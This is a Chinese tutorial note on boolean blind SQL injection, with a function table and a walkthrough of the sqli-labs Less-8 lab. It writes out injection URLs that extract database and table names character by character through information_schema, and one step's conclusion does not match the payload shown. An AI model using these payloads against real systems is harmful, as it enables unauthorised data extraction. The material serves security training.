SQL盲注——布尔注入 笔记

SQL盲注——布尔注入

布尔注入原理

代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息,只返回“Right”与“Wrong”
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”与“假”来识别我们的判断是否正确,这即是布尔盲注!

布尔盲注方法

构造逻辑判断语句,判断信息真假,取出所有的真值,实现SQL注入

|

方法例子说明
Left() 函数left(database(),1)>‘s’database()显示数据库名称,left(a,b)从左到右截取a的前b位
regexpselect user() regexp ‘^r’正则表达式的用法,user()结果为root,regexp 为匹配 root 的正则表达式
likeselect user()like’ro%’与regexp类似,使用like进行匹配
substr()函数 ascii()函数ascii(substr((select database()),1,1))=98substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
ord() 函数 mid() 函数ord(mid((select user()),1,1))=114mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

实操

这次我们使用sqli-labs第八关来进行学习

1.先判断有无注入点
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
从此我没可以看出存在注入点,并且不会回显数据,但当语句正确是会返回You are in …错误则无返回。从此可知我们可以采用盲注的方法进行sql注入。

我们先使用left()来进行测试

127.0.0.1/Less-8/?id=1'and left((select database()),1)='a'--+

在这里插入图片描述

127.0.0.1/Less-8/?id=1'and left((select database()),1)='s'--+

在这里插入图片描述
从此我们可以知道当前库的第一位是’s‘了。

接下来我们使用information来查询所有数据
我们首先来查询一下他的表

127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a'--+

在这里插入图片描述

127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

在这里插入图片描述
说明当前库第一个表第一个名称的第一个字符是’s‘
在这里插入图片描述
然后接下来就可以按照这个方式不断尝试,找到自己想要的数据了,但是这种方法是比较慢的,我们可以借助工具进行注入。比如Burp Suite。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值